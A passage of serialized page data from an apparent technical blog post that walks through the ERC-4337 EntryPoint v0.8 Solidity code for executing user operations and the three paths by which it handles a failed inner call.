memory opInfo\n )\n internal virtual\n returns (uint256 collected) {\n [...]\n bool success;\n {\n [...]\n if (methodSig == IAccountExecute.executeUserOp.selector) {\n bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n } else\n {\n innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n }\n assembly (\"memory-safe\") {\n success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n collected := mload(0)\n }\n _restoreFreePtr(saveFreePtr);\n }\n if (!success) {\n [...]\n if (innerRevertCode == INNER_OUT_OF_GAS) {\n // handleOps was called with gas limit too low. abort entire bundle.\n // can only be caused by bundler (leaving not enough gas for inner call)\n revert FailedOp(opIndex, \"AA95 out of gas\");\n } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n uint256 actualGasCost = opInfo.prefund;\n _emitPrefundTooLow(opInfo);\n _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n collected = actualGasCost;\n } else {\n [...]\n collected = _postExecution(\n IPaymaster.PostOpMode.postOpReverted,\n opInfo,\n context,\n actualGas\n );\n }\n }\n }\n",[105060],{"type":21,"tag":194,"props":105061,"children":105062},{"__ignoreMap":7},[105063,105079,105095,105115,105132,105139,105152,105176,105184,105197,105204,105211,105232,105271,105308,105320,105327,105363,105370,105391,105480,105509,105516,105529,105536,105556,105563,105584,105592,105600,105627,105655,105663,105706,105726,105739,105761,105777,105792,105799,105819,105827,105835,105843,105851,105859,105866,105873],{"type":21,"tag":198,"props":105064,"children":105065},{"class":200,"line":201},[105066,105070,105075],{"type":21,"tag":198,"props":105067,"children":105068},{"style":249},[105069],{"type":27,"value":90213},{"type":21,"tag":198,"props":105071,"children":105072},{"style":698},[105073],{"type":27,"value":105074}," _executeUserOp",{"type":21,"tag":198,"props":105076,"children":105077},{"style":211},[105078],{"type":27,"value":4268},{"type":21,"tag":198,"props":105080,"children":105081},{"class":200,"line":217},[105082,105086,105091],{"type":21,"tag":198,"props":105083,"children":105084},{"style":1966},[105085],{"type":27,"value":90391},{"type":21,"tag":198,"props":105087,"children":105088},{"style":226},[105089],{"type":27,"value":105090}," opIndex",{"type":21,"tag":198,"props":105092,"children":105093},{"style":211},[105094],{"type":27,"value":257},{"type":21,"tag":198,"props":105096,"children":105097},{"class":200,"line":236},[105098,105103,105107,105111],{"type":21,"tag":198,"props":105099,"children":105100},{"style":249},[105101],{"type":27,"value":105102}," PackedUserOperation",{"type":21,"tag":198,"props":105104,"children":105105},{"style":249},[105106],{"type":27,"value":103394},{"type":21,"tag":198,"props":105108,"children":105109},{"style":226},[105110],{"type":27,"value":103399},{"type":21,"tag":198,"props":105112,"children":105113},{"style":211},[105114],{"type":27,"value":257},{"type":21,"tag":198,"props":105116,"children":105117},{"class":200,"line":260},[105118,105123,105127],{"type":21,"tag":198,"props":105119,"children":105120},{"style":249},[105121],{"type":27,"value":105122}," UserOpInfo",{"type":21,"tag":198,"props":105124,"children":105125},{"style":249},[105126],{"type":27,"value":103462},{"type":21,"tag":198,"props":105128,"children":105129},{"style":226},[105130],{"type":27,"value":105131}," opInfo\n",{"type":21,"tag":198,"props":105133,"children":105134},{"class":200,"line":281},[105135],{"type":21,"tag":198,"props":105136,"children":105137},{"style":211},[105138],{"type":27,"value":24723},{"type":21,"tag":198,"props":105140,"children":105141},{"class":200,"line":302},[105142,105147],{"type":21,"tag":198,"props":105143,"children":105144},{"style":249},[105145],{"type":27,"value":105146}," internal",{"type":21,"tag":198,"props":105148,"children":105149},{"style":249},[105150],{"type":27,"value":105151}," virtual\n",{"type":21,"tag":198,"props":105153,"children":105154},{"class":200,"line":323},[105155,105159,105163,105167,105172],{"type":21,"tag":198,"props":105156,"children":105157},{"style":640},[105158],{"type":27,"value":47267},{"type":21,"tag":198,"props":105160,"children":105161},{"style":211},[105162],{"type":27,"value":648},{"type":21,"tag":198,"props":105164,"children":105165},{"style":1966},[105166],{"type":27,"value":46926},{"type":21,"tag":198,"props":105168,"children":105169},{"style":226},[105170],{"type":27,"value":105171}," collected",{"type":21,"tag":198,"props":105173,"children":105174},{"style":211},[105175],{"type":27,"value":668},{"type":21,"tag":198,"props":105177,"children":105178},{"class":200,"line":344},[105179],{"type":21,"tag":198,"props":105180,"children":105181},{"style":211},[105182],{"type":27,"value":105183}," [...]\n",{"type":21,"tag":198,"props":105185,"children":105186},{"class":200,"line":365},[105187,105192],{"type":21,"tag":198,"props":105188,"children":105189},{"style":1966},[105190],{"type":27,"value":105191}," bool",{"type":21,"tag":198,"props":105193,"children":105194},{"style":211},[105195],{"type":27,"value":105196}," success;\n",{"type":21,"tag":198,"props":105198,"children":105199},{"class":200,"line":386},[105200],{"type":21,"tag":198,"props":105201,"children":105202},{"style":211},[105203],{"type":27,"value":32446},{"type":21,"tag":198,"props":105205,"children":105206},{"class":200,"line":408},[105207],{"type":21,"tag":198,"props":105208,"children":105209},{"style":211},[105210],{"type":27,"value":105183},{"type":21,"tag":198,"props":105212,"children":105213},{"class":200,"line":429},[105214,105218,105223,105227],{"type":21,"tag":198,"props":105215,"children":105216},{"style":640},[105217],{"type":27,"value":59178},{"type":21,"tag":198,"props":105219,"children":105220},{"style":211},[105221],{"type":27,"value":105222}," (methodSig ",{"type":21,"tag":198,"props":105224,"children":105225},{"style":683},[105226],{"type":27,"value":9386},{"type":21,"tag":198,"props":105228,"children":105229},{"style":211},[105230],{"type":27,"value":105231}," IAccountExecute.executeUserOp.selector) {\n",{"type":21,"tag":198,"props":105233,"children":105234},{"class":200,"line":450},[105235,105240,105244,105249,105253,105257,105261,105266],{"type":21,"tag":198,"props":105236,"children":105237},{"style":1966},[105238],{"type":27,"value":105239}," bytes",{"type":21,"tag":198,"props":105241,"children":105242},{"style":249},[105243],{"type":27,"value":103462},{"type":21,"tag":198,"props":105245,"children":105246},{"style":211},[105247],{"type":27,"value":105248}," executeUserOp ",{"type":21,"tag":198,"props":105250,"children":105251},{"style":683},[105252],{"type":27,"value":3174},{"type":21,"tag":198,"props":105254,"children":105255},{"style":249},[105256],{"type":27,"value":104059},{"type":21,"tag":198,"props":105258,"children":105259},{"style":211},[105260],{"type":27,"value":658},{"type":21,"tag":198,"props":105262,"children":105263},{"style":698},[105264],{"type":27,"value":105265},"encodeCall",{"type":21,"tag":198,"props":105267,"children":105268},{"style":211},[105269],{"type":27,"value":105270},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":21,"tag":198,"props":105272,"children":105273},{"class":200,"line":468},[105274,105279,105283,105287,105291,105295,105299,105303],{"type":21,"tag":198,"props":105275,"children":105276},{"style":211},[105277],{"type":27,"value":105278}," innerCall ",{"type":21,"tag":198,"props":105280,"children":105281},{"style":683},[105282],{"type":27,"value":3174},{"type":21,"tag":198,"props":105284,"children":105285},{"style":249},[105286],{"type":27,"value":104059},{"type":21,"tag":198,"props":105288,"children":105289},{"style":211},[105290],{"type":27,"value":658},{"type":21,"tag":198,"props":105292,"children":105293},{"style":698},[105294],{"type":27,"value":105265},{"type":21,"tag":198,"props":105296,"children":105297},{"style":211},[105298],{"type":27,"value":706},{"type":21,"tag":198,"props":105300,"children":105301},{"style":249},[105302],{"type":27,"value":18495},{"type":21,"tag":198,"props":105304,"children":105305},{"style":211},[105306],{"type":27,"value":105307},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":21,"tag":198,"props":105309,"children":105310},{"class":200,"line":477},[105311,105315],{"type":21,"tag":198,"props":105312,"children":105313},{"style":211},[105314],{"type":27,"value":70974},{"type":21,"tag":198,"props":105316,"children":105317},{"style":640},[105318],{"type":27,"value":105319},"else\n",{"type":21,"tag":198,"props":105321,"children":105322},{"class":200,"line":494},[105323],{"type":21,"tag":198,"props":105324,"children":105325},{"style":211},[105326],{"type":27,"value":32482},{"type":21,"tag":198,"props":105328,"children":105329},{"class":200,"line":515},[105330,105334,105338,105342,105346,105350,105354,105358],{"type":21,"tag":198,"props":105331,"children":105332},{"style":211},[105333],{"type":27,"value":105278},{"type":21,"tag":198,"props":105335,"children":105336},{"style":683},[105337],{"type":27,"value":3174},{"type":21,"tag":198,"props":105339,"children":105340},{"style":249},[105341],{"type":27,"value":104059},{"type":21,"tag":198,"props":105343,"children":105344},{"style":211},[105345],{"type":27,"value":658},{"type":21,"tag":198,"props":105347,"children":105348},{"style":698},[105349],{"type":27,"value":105265},{"type":21,"tag":198,"props":105351,"children":105352},{"style":211},[105353],{"type":27,"value":706},{"type":21,"tag":198,"props":105355,"children":105356},{"style":249},[105357],{"type":27,"value":18495},{"type":21,"tag":198,"props":105359,"children":105360},{"style":211},[105361],{"type":27,"value":105362},".innerHandleOp, (callData, opInfo, context));\n",{"type":21,"tag":198,"props":105364,"children":105365},{"class":200,"line":4484},[105366],{"type":21,"tag":198,"props":105367,"children":105368},{"style":211},[105369],{"type":27,"value":59262},{"type":21,"tag":198,"props":105371,"children":105372},{"class":200,"line":4493},[105373,105378,105382,105387],{"type":21,"tag":198,"props":105374,"children":105375},{"style":698},[105376],{"type":27,"value":105377}," assembly",{"type":21,"tag":198,"props":105379,"children":105380},{"style":211},[105381],{"type":27,"value":648},{"type":21,"tag":198,"props":105383,"children":105384},{"style":205},[105385],{"type":27,"value":105386},"\"memory-safe\"",{"type":21,"tag":198,"props":105388,"children":105389},{"style":211},[105390],{"type":27,"value":668},{"type":21,"tag":198,"props":105392,"children":105393},{"class":200,"line":4561},[105394,105399,105403,105407,105411,105416,105420,105424,105428,105432,105436,105440,105445,105450,105454,105459,105464,105468,105472,105476],{"type":21,"tag":198,"props":105395,"children":105396},{"style":211},[105397],{"type":27,"value":105398}," success ",{"type":21,"tag":198,"props":105400,"children":105401},{"style":683},[105402],{"type":27,"value":22400},{"type":21,"tag":198,"props":105404,"children":105405},{"style":698},[105406],{"type":27,"value":41716},{"type":21,"tag":198,"props":105408,"children":105409},{"style":211},[105410],{"type":27,"value":706},{"type":21,"tag":198,"props":105412,"children":105413},{"style":698},[105414],{"type":27,"value":105415},"gas",{"type":21,"tag":198,"props":105417,"children":105418},{"style":211},[105419],{"type":27,"value":19178},{"type":21,"tag":198,"props":105421,"children":105422},{"style":1966},[105423],{"type":27,"value":33423},{"type":21,"tag":198,"props":105425,"children":105426},{"style":211},[105427],{"type":27,"value":19178},{"type":21,"tag":198,"props":105429,"children":105430},{"style":2540},[105431],{"type":27,"value":3482},{"type":21,"tag":198,"props":105433,"children":105434},{"style":211},[105435],{"type":27,"value":828},{"type":21,"tag":198,"props":105437,"children":105438},{"style":698},[105439],{"type":27,"value":10448},{"type":21,"tag":198,"props":105441,"children":105442},{"style":211},[105443],{"type":27,"value":105444},"(innerCall, ",{"type":21,"tag":198,"props":105446,"children":105447},{"style":2540},[105448],{"type":27,"value":105449},"0x20",{"type":21,"tag":198,"props":105451,"children":105452},{"style":211},[105453],{"type":27,"value":15982},{"type":21,"tag":198,"props":105455,"children":105456},{"style":698},[105457],{"type":27,"value":105458},"mload",{"type":21,"tag":198,"props":105460,"children":105461},{"style":211},[105462],{"type":27,"value":105463},"(innerCall), ",{"type":21,"tag":198,"props":105465,"children":105466},{"style":2540},[105467],{"type":27,"value":3482},{"type":21,"tag":198,"props":105469,"children":105470},{"style":211},[105471],{"type":27,"value":828},{"type":21,"tag":198,"props":105473,"children":105474},{"style":2540},[105475],{"type":27,"value":60724},{"type":21,"tag":198,"props":105477,"children":105478},{"style":211},[105479],{"type":27,"value":789},{"type":21,"tag":198,"props":105481,"children":105482},{"class":200,"line":4569},[105483,105488,105492,105497,105501,105505],{"type":21,"tag":198,"props":105484,"children":105485},{"style":211},[105486],{"type":27,"value":105487}," collected ",{"type":21,"tag":198,"props":105489,"children":105490},{"style":683},[105491],{"type":27,"value":22400},{"type":21,"tag":198,"props":105493,"children":105494},{"style":698},[105495],{"type":27,"value":105496}," mload",{"type":21,"tag":198,"props":105498,"children":105499},{"style":211},[105500],{"type":27,"value":706},{"type":21,"tag":198,"props":105502,"children":105503},{"style":2540},[105504],{"type":27,"value":3482},{"type":21,"tag":198,"props":105506,"children":105507},{"style":211},[105508],{"type":27,"value":789},{"type":21,"tag":198,"props":105510,"children":105511},{"class":200,"line":4599},[105512],{"type":21,"tag":198,"props":105513,"children":105514},{"style":211},[105515],{"type":27,"value":59262},{"type":21,"tag":198,"props":105517,"children":105518},{"class":200,"line":4607},[105519,105524],{"type":21,"tag":198,"props":105520,"children":105521},{"style":698},[105522],{"type":27,"value":105523}," _restoreFreePtr",{"type":21,"tag":198,"props":105525,"children":105526},{"style":211},[105527],{"type":27,"value":105528},"(saveFreePtr);\n",{"type":21,"tag":198,"props":105530,"children":105531},{"class":200,"line":4638},[105532],{"type":21,"tag":198,"props":105533,"children":105534},{"style":211},[105535],{"type":27,"value":1160},{"type":21,"tag":198,"props":105537,"children":105538},{"class":200,"line":4646},[105539,105543,105547,105551],{"type":21,"tag":198,"props":105540,"children":105541},{"style":640},[105542],{"type":27,"value":4079},{"type":21,"tag":198,"props":105544,"children":105545},{"style":211},[105546],{"type":27,"value":648},{"type":21,"tag":198,"props":105548,"children":105549},{"style":683},[105550],{"type":27,"value":686},{"type":21,"tag":198,"props":105552,"children":105553},{"style":211},[105554],{"type":27,"value":105555},"success) {\n",{"type":21,"tag":198,"props":105557,"children":105558},{"class":200,"line":4706},[105559],{"type":21,"tag":198,"props":105560,"children":105561},{"style":211},[105562],{"type":27,"value":105183},{"type":21,"tag":198,"props":105564,"children":105565},{"class":200,"line":9857},[105566,105570,105575,105579],{"type":21,"tag":198,"props":105567,"children":105568},{"style":640},[105569],{"type":27,"value":59178},{"type":21,"tag":198,"props":105571,"children":105572},{"style":211},[105573],{"type":27,"value":105574}," (innerRevertCode ",{"type":21,"tag":198,"props":105576,"children":105577},{"style":683},[105578],{"type":27,"value":9386},{"type":21,"tag":198,"props":105580,"children":105581},{"style":211},[105582],{"type":27,"value":105583}," INNER_OUT_OF_GAS) {\n",{"type":21,"tag":198,"props":105585,"children":105586},{"class":200,"line":9875},[105587],{"type":21,"tag":198,"props":105588,"children":105589},{"style":1233},[105590],{"type":27,"value":105591}," // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":21,"tag":198,"props":105593,"children":105594},{"class":200,"line":9920},[105595],{"type":21,"tag":198,"props":105596,"children":105597},{"style":1233},[105598],{"type":27,"value":105599}," // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":21,"tag":198,"props":105601,"children":105602},{"class":200,"line":10026},[105603,105608,105613,105618,105623],{"type":21,"tag":198,"props":105604,"children":105605},{"style":640},[105606],{"type":27,"value":105607}," revert",{"type":21,"tag":198,"props":105609,"children":105610},{"style":698},[105611],{"type":27,"value":105612}," FailedOp",{"type":21,"tag":198,"props":105614,"children":105615},{"style":211},[105616],{"type":27,"value":105617},"(opIndex, ",{"type":21,"tag":198,"props":105619,"children":105620},{"style":205},[105621],{"type":27,"value":105622},"\"AA95 out of gas\"",{"type":21,"tag":198,"props":105624,"children":105625},{"style":211},[105626],{"type":27,"value":1470},{"type":21,"tag":198,"props":105628,"children":105629},{"class":200,"line":24302},[105630,105634,105638,105642,105646,105650],{"type":21,"tag":198,"props":105631,"children":105632},{"style":211},[105633],{"type":27,"value":70974},{"type":21,"tag":198,"props":105635,"children":105636},{"style":640},[105637],{"type":27,"value":4122},{"type":21,"tag":198,"props":105639,"children":105640},{"style":640},[105641],{"type":27,"value":16591},{"type":21,"tag":198,"props":105643,"children":105644},{"style":211},[105645],{"type":27,"value":105574},{"type":21,"tag":198,"props":105647,"children":105648},{"style":683},[105649],{"type":27,"value":9386},{"type":21,"tag":198,"props":105651,"children":105652},{"style":211},[105653],{"type":27,"value":105654}," INNER_REVERT_LOW_PREFUND) {\n",{"type":21,"tag":198,"props":105656,"children":105657},{"class":200,"line":24337},[105658],{"type":21,"tag":198,"props":105659,"children":105660},{"style":1233},[105661],{"type":27,"value":105662}," // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":21,"tag":198,"props":105664,"children":105665},{"class":200,"line":24345},[105666,105670,105675,105679,105684,105688,105693,105697,105701],{"type":21,"tag":198,"props":105667,"children":105668},{"style":1966},[105669],{"type":27,"value":103842},{"type":21,"tag":198,"props":105671,"children":105672},{"style":211},[105673],{"type":27,"value":105674}," actualGas ",{"type":21,"tag":198,"props":105676,"children":105677},{"style":683},[105678],{"type":27,"value":3174},{"type":21,"tag":198,"props":105680,"children":105681},{"style":211},[105682],{"type":27,"value":105683}," preGas ",{"type":21,"tag":198,"props":105685,"children":105686},{"style":683},[105687],{"type":27,"value":5139},{"type":21,"tag":198,"props":105689,"children":105690},{"style":249},[105691],{"type":27,"value":105692}," gasleft",{"type":21,"tag":198,"props":105694,"children":105695},{"style":211},[105696],{"type":27,"value":14850},{"type":21,"tag":198,"props":105698,"children":105699},{"style":683},[105700],{"type":27,"value":5193},{"type":21,"tag":198,"props":105702,"children":105703},{"style":211},[105704],{"type":27,"value":105705}," opInfo.preOpGas;\n",{"type":21,"tag":198,"props":105707,"children":105708},{"class":200,"line":24353},[105709,105713,105717,105721],{"type":21,"tag":198,"props":105710,"children":105711},{"style":1966},[105712],{"type":27,"value":103842},{"type":21,"tag":198,"props":105714,"children":105715},{"style":211},[105716],{"type":27,"value":104489},{"type":21,"tag":198,"props":105718,"children":105719},{"style":683},[105720],{"type":27,"value":3174},{"type":21,"tag":198,"props":105722,"children":105723},{"style":211},[105724],{"type":27,"value":105725}," opInfo.prefund;\n",{"type":21,"tag":198,"props":105727,"children":105728},{"class":200,"line":24362},[105729,105734],{"type":21,"tag":198,"props":105730,"children":105731},{"style":698},[105732],{"type":27,"value":105733}," _emitPrefundTooLow",{"type":21,"tag":198,"props":105735,"children":105736},{"style":211},[105737],{"type":27,"value":105738},"(opInfo);\n",{"type":21,"tag":198,"props":105740,"children":105741},{"class":200,"line":24404},[105742,105747,105752,105756],{"type":21,"tag":198,"props":105743,"children":105744},{"style":698},[105745],{"type":27,"value":105746}," _emitUserOperationEvent",{"type":21,"tag":198,"props":105748,"children":105749},{"style":211},[105750],{"type":27,"value":105751},"(opInfo, ",{"type":21,"tag":198,"props":105753,"children":105754},{"style":249},[105755],{"type":27,"value":3264},{"type":21,"tag":198,"props":105757,"children":105758},{"style":211},[105759],{"type":27,"value":105760},", actualGasCost, actualGas);\n",{"type":21,"tag":198,"props":105762,"children":105763},{"class":200,"line":24437},[105764,105768,105772],{"type":21,"tag":198,"props":105765,"children":105766},{"style":211},[105767],{"type":27,"value":105487},{"type":21,"tag":198,"props":105769,"children":105770},{"style":683},[105771],{"type":27,"value":3174},{"type":21,"tag":198,"props":105773,"children":105774},{"style":211},[105775],{"type":27,"value":105776}," actualGasCost;\n",{"type":21,"tag":198,"props":105778,"children":105779},{"class":200,"line":24445},[105780,105784,105788],{"type":21,"tag":198,"props":105781,"children":105782},{"style":211},[105783],{"type":27,"value":70974},{"type":21,"tag":198,"props":105785,"children":105786},{"style":640},[105787],{"type":27,"value":4122},{"type":21,"tag":198,"props":105789,"children":105790},{"style":211},[105791],{"type":27,"value":233},{"type":21,"tag":198,"props":105793,"children":105794},{"class":200,"line":24453},[105795],{"type":21,"tag":198,"props":105796,"children":105797},{"style":211},[105798],{"type":27,"value":105183},{"type":21,"tag":198,"props":105800,"children":105801},{"class":200,"line":24462},[105802,105806,105810,105815],{"type":21,"tag":198,"props":105803,"children":105804},{"style":211},[105805],{"type":27,"value":105487},{"type":21,"tag":198,"props":105807,"children":105808},{"style":683},[105809],{"type":27,"value":3174},{"type":21,"tag":198,"props":105811,"children":105812},{"style":698},[105813],{"type":27,"value":105814}," _postExecution",{"type":21,"tag":198,"props":105816,"children":105817},{"style":211},[105818],{"type":27,"value":4268},{"type":21,"tag":198,"props":105820,"children":105821},{"class":200,"line":24538},[105822],{"type":21,"tag":198,"props":105823,"children":105824},{"style":211},[105825],{"type":27,"value":105826}," IPaymaster.PostOpMode.postOpReverted,\n",{"type":21,"tag":198,"props":105828,"children":105829},{"class":200,"line":24571},[105830],{"type":21,"tag":198,"props":105831,"children":105832},{"style":211},[105833],{"type":27,"value":105834}," opInfo,\n",{"type":21,"tag":198,"props":105836,"children":105837},{"class":200,"line":24579},[105838],{"type":21,"tag":198,"props":105839,"children":105840},{"style":211},[105841],{"type":27,"value":105842}," context,\n",{"type":21,"tag":198,"props":105844,"children":105845},{"class":200,"line":24587},[105846],{"type":21,"tag":198,"props":105847,"children":105848},{"style":211},[105849],{"type":27,"value":105850}," actualGas\n",{"type":21,"tag":198,"props":105852,"children":105853},{"class":200,"line":24624},[105854],{"type":21,"tag":198,"props":105855,"children":105856},{"style":211},[105857],{"type":27,"value":105858}," );\n",{"type":21,"tag":198,"props":105860,"children":105861},{"class":200,"line":24637},[105862],{"type":21,"tag":198,"props":105863,"children":105864},{"style":211},[105865],{"type":27,"value":59262},{"type":21,"tag":198,"props":105867,"children":105868},{"class":200,"line":24650},[105869],{"type":21,"tag":198,"props":105870,"children":105871},{"style":211},[105872],{"type":27,"value":1160},{"type":21,"tag":198,"props":105874,"children":105875},{"class":200,"line":24663},[105876],{"type":21,"tag":198,"props":105877,"children":105878},{"style":211},[105879],{"type":27,"value":880},{"type":21,"tag":30,"props":105881,"children":105882},{},[105883,105885,105890,105892,105898,105900,105906,105908,105914],{"type":27,"value":105884},"During execution, the ",{"type":21,"tag":194,"props":105886,"children":105888},{"className":105887},[],[105889],{"type":27,"value":102645},{"type":27,"value":105891}," contract makes a ",{"type":21,"tag":34,"props":105893,"children":105896},{"href":105894,"rel":105895},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[38],[105897],{"type":27,"value":39054},{"type":27,"value":105899}," to its own ",{"type":21,"tag":194,"props":105901,"children":105903},{"className":105902},[],[105904],{"type":27,"value":105905},"innerHandleOp",{"type":27,"value":105907}," function through a low-level ",{"type":21,"tag":194,"props":105909,"children":105911},{"className":105910},[],[105912],{"type":27,"value":105913},"call()",{"type":27,"value":105915},". This is done to create a new call context for executing the user operation.",{"type":21,"tag":30,"props":105917,"children":105918},{},[105919,105921,105927,105928,105933,105935,105942,105944,105950],{"type":27,"value":105920},"If this call fails (when ",{"type":21,"tag":194,"props":105922,"children":105924},{"className":105923},[],[105925],{"type":27,"value":105926},"success",{"type":27,"value":6314},{"type":21,"tag":194,"props":105929,"children":105931},{"className":105930},[],[105932],{"type":27,"value":3264},{"type":27,"value":105934},"), the code enters an ",{"type":21,"tag":34,"props":105936,"children":105939},{"href":105937,"rel":105938},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[38],[105940],{"type":27,"value":105941},"error handling",{"type":27,"value":105943}," flow that checks the ",{"type":21,"tag":194,"props":105945,"children":105947},{"className":105946},[],[105948],{"type":27,"value":105949},"innerRevertCode",{"type":27,"value":105951},". There are three possible paths:",{"type":21,"tag":71,"props":105953,"children":105954},{},[105955,105979,105997],{"type":21,"tag":75,"props":105956,"children":105957},{},[105958,105959,105964,105965,105971,105973,105978],{"type":27,"value":8292},{"type":21,"tag":194,"props":105960,"children":105962},{"className":105961},[],[105963],{"type":27,"value":105949},{"type":27,"value":6314},{"type":21,"tag":194,"props":105966,"children":105968},{"className":105967},[],[105969],{"type":27,"value":105970},"INNER_OUT_OF_GAS",{"type":27,"value":105972},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":21,"tag":194,"props":105974,"children":105976},{"className":105975},[],[105977],{"type":27,"value":105622},{"type":27,"value":658},{"type":21,"tag":75,"props":105980,"children":105981},{},[105982,105983,105988,105989,105995],{"type":27,"value":8292},{"type":21,"tag":194,"props":105984,"children":105986},{"className":105985},[],[105987],{"type":27,"value":105949},{"type":27,"value":6314},{"type":21,"tag":194,"props":105990,"children":105992},{"className":105991},[],[105993],{"type":27,"value":105994},"INNER_REVERT_LOW_PREFUND",{"type":27,"value":105996},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":21,"tag":75,"props":105998,"children":105999},{},[106000,106002,106008,106010,106016],{"type":27,"value":106001},"For any other revert reason, the code will still call ",{"type":21,"tag":194,"props":106003,"children":106005},{"className":106004},[],[106006],{"type":27,"value":106007},"_postExecution()",{"type":27,"value":106009}," but with ",{"type":21,"tag":194,"props":106011,"children":106013},{"className":106012},[],[106014],{"type":27,"value":106015},"PostOpMode.postOpReverted",{"type":27,"value":106017},". This ensures proper cleanup happens even on failure.",{"type":21,"tag":30,"props":106019,"children":106020},{},[106021,106023,106028,106030,106035,106037,106042,106044,106049],{"type":27,"value":106022},"We're particularly interested in the third error path, where ",{"type":21,"tag":194,"props":106024,"children":106026},{"className":106025},[],[106027],{"type":27,"value":105949},{"type":27,"value":106029}," is neither ",{"type":21,"tag":194,"props":106031,"children":106033},{"className":106032},[],[106034],{"type":27,"value":105970},{"type":27,"value":106036}," nor ",{"type":21,"tag":194,"props":106038,"children":106040},{"className":106039},[],[106041],{"type":27,"value":105994},{"type":27,"value":106043},". To understand this case better, let's examine how ",{"type":21,"tag":194,"props":106045,"children":106047},{"className":106046},[],[106048],{"type":27,"value":105905},{"type":27,"value":106050}," works.",{"type":21,"tag":187,"props":106052,"children":106054},{"className":5287,"code":106053,"language":5286,"meta":7,"style":7}," function innerHandleOp(\n bytes memory callData,\n UserOpInfo memory opInfo,\n bytes calldata context\n ) external returns (uint256 actualGasCost) {\n [...]\n IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n if (callData.length > 0) {\n bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n if (!success) {\n uint256 freePtr = _getFreePtr();\n bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n if (result.length > 0) {\n emit UserOperationRevertReason(\n opInfo.userOpHash,\n mUserOp.sender,\n mUserOp.nonce,\n result\n );\n }\n _restoreFreePtr(freePtr);\n mode = IPaymaster.PostOpMode.opReverted;\n }\n }\n\n unchecked {\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n return _postExecution(mode, opInfo, context, actualGas);\n }\n }\n",[106055],{"type":21,"tag":194,"props":106056,"children":106057},{"__ignoreMap":7},[106058,106074,106095,106115,106131,106164,106171,106188,106212,106252,106271,106296,106330,106354,106371,106379,106387,106395,106403,106411,106418,106431,106448,106455,106462,106469,106480,106519,106535,106542],{"type":21,"tag":198,"props":106059,"children":106060},{"class":200,"line":201},[106061,106065,106070],{"type":21,"tag":198,"props":106062,"children":106063},{"style":249},[106064],{"type":27,"value":90213},{"type":21,"tag":198,"props":106066,"children":106067},{"style":698},[106068],{"type":27,"value":106069}," innerHandleOp",{"type":21,"tag":198,"props":106071,"children":106072},{"style":211},[106073],{"type":27,"value":4268},{"type":21,"tag":198,"props":106075,"children":106076},{"class":200,"line":217},[106077,106082,106086,106091],{"type":21,"tag":198,"props":106078,"children":106079},{"style":1966},[106080],{"type":27,"value":106081}," bytes",{"type":21,"tag":198,"props":106083,"children":106084},{"style":249},[106085],{"type":27,"value":103462},{"type":21,"tag":198,"props":106087,"children":106088},{"style":226},[106089],{"type":27,"value":106090}," callData",{"type":21,"tag":198,"props":106092,"children":106093},{"style":211},[106094],{"type":27,"value":257},{"type":21,"tag":198,"props":106096,"children":106097},{"class":200,"line":236},[106098,106102,106106,106111],{"type":21,"tag":198,"props":106099,"children":106100},{"style":249},[106101],{"type":27,"value":105122},{"type":21,"tag":198,"props":106103,"children":106104},{"style":249},[106105],{"type":27,"value":103462},{"type":21,"tag":198,"props":106107,"children":106108},{"style":226},[106109],{"type":27,"value":106110}," opInfo",{"type":21,"tag":198,"props":106112,"children":106113},{"style":211},[106114],{"type":27,"value":257},{"type":21,"tag":198,"props":106116,"children":106117},{"class":200,"line":260},[106118,106122,106126],{"type":21,"tag":198,"props":106119,"children":106120},{"style":1966},[106121],{"type":27,"value":106081},{"type":21,"tag":198,"props":106123,"children":106124},{"style":249},[106125],{"type":27,"value":103394},{"type":21,"tag":198,"props":106127,"children":106128},{"style":226},[106129],{"type":27,"value":106130}," context\n",{"type":21,"tag":198,"props":106132,"children":106133},{"class":200,"line":281},[106134,106139,106144,106148,106152,106156,106160],{"type":21,"tag":198,"props":106135,"children":106136},{"style":211},[106137],{"type":27,"value":106138}," ) ",{"type":21,"tag":198,"props":106140,"children":106141},{"style":249},[106142],{"type":27,"value":106143},"external",{"type":21,"tag":198,"props":106145,"children":106146},{"style":640},[106147],{"type":27,"value":76375},{"type":21,"tag":198,"props":106149,"children":106150},{"style":211},[106151],{"type":27,"value":648},{"type":21,"tag":198,"props":106153,"children":106154},{"style":1966},[106155],{"type":27,"value":46926},{"type":21,"tag":198,"props":106157,"children":106158},{"style":226},[106159],{"type":27,"value":104203},{"type":21,"tag":198,"props":106161,"children":106162},{"style":211},[106163],{"type":27,"value":668},{"type":21,"tag":198,"props":106165,"children":106166},{"class":200,"line":302},[106167],{"type":21,"tag":198,"props":106168,"children":106169},{"style":211},[106170],{"type":27,"value":105183},{"type":21,"tag":198,"props":106172,"children":106173},{"class":200,"line":323},[106174,106179,106183],{"type":21,"tag":198,"props":106175,"children":106176},{"style":211},[106177],{"type":27,"value":106178}," IPaymaster.PostOpMode mode ",{"type":21,"tag":198,"props":106180,"children":106181},{"style":683},[106182],{"type":27,"value":3174},{"type":21,"tag":198,"props":106184,"children":106185},{"style":211},[106186],{"type":27,"value":106187}," 